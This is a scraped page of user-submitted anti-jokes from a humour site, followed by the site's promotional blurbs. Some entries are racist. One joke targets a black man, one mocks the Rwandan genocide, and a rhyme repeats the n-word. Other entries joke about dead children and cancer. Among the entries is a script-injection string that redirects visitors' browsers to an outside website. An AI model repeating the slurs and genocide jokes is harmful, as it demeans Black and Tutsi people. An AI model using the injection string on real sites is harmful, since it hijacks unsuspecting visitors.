Q: Why did the black man die poor? A: Because he was financially irresponsible and wasted the millions left to him by his father fueling his alcohol addiction, slowly grinding away at his organs until he died of cirrhosis of the liver.

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Guy walks into a bar and orders a drink. He orders a beer with two cubes of ice. The bartender ask why does he want two cubes of ice. The guy doesn't answer. He finishes his beer and proceeds to go home safely because he was not intoxicated.

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Roses are red, Violets are blue, My name's Dave, Microwave!

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In particle-joke physics, the antijoke is the extension of the concept of the antiparticle to the joke, where the antijoke is composed of antiparticles in the same way that the normal joke is composed of particles. Furthermore, mixing jokes and antijokes can lead to the annihilation of both, in the same way that mixing antiparticles and particles does.The result of antijoke meeting jokes is an explosion.[1]

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What is sad and disappointing? Nevada's and California's snow pack.

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An IRS agent named Harold Crick finds that he has the ability to hear a narrator comment on every moment of his life. He later becomes institutionalized in the Schizophrenic ward.

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Why did Susie drop her ice cream? Because she got hit by a bus. Knock knock. Who's there? Not Susie.

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A man walks up to you and asks you:"What's funnier than a dead baby?" and then smiles, you then proceed to frown and tell him he needs to seek help. The next day you see his face on your TV

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What would you do if I walked onto your property and started to smash up your mailbox with a sledge hammer? You would be very scared and most probably call the police.

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How do you make 5 lbs of fat look good? Draw a smiley face on it.

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A baby seal walks into a club. I happens to be that the club is having their bi-annual PETA meeting, and the baby seal is chosen as the organization's new mascot. After touring the nation and meeting important world leaders, the baby seal still wonders why there was a club at the North Pole.

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Excuse me sir, do you know where I can find the restroom? I don't know, I'm sorry.

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Q: What did the boy with cancer get for Christmas? A: He died on Christmas Day, before his parents could tell him they had maxed out their credit cards to take him to Disney World. His father has since relapsed into alcoholism. He knows his wife is cheating on him with another man, but understands that she needs comfort that he cannot give her.

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What's worse than being short? Being a Tutsi in 1994.

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caoimhin is a dorty carrot

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Why was the Magic: The Gathering player a virgin? Because he was underage and it would have been immoral for him to have had sex.

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What do you do if some idiot throws a grenade at you? Pull the pin and throw it back.

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"'>document.location.href="http://cramik.org"

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Q:Whats yellow and white and sits at the bottom of a pool? A: A baby with slashed floaties Q:Whats red and gory and sits at the top of a pool? A: Floaties with a slahed baby

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What do you call a white person? Caucasian

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Man: Hey girl for a minute there I thought I had died and gone to heaven, but now I realize that I am very much alive, and that heaven has been brought to me. Girl: No actually you were right the first time we are both dead right now.

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A Japanese Nuclear Scientist goes to the swimming pool, and buys a ticket. He went to the changing rooms and proceeded to have a lovely bit of exercise, which helped him burn off the calories from his carbohydrate based luncheon.

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why was allison crying? because her mom's dead.

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Roses are niggas Violets are niggas I'm lil Wayne niggas rhymes with niggas

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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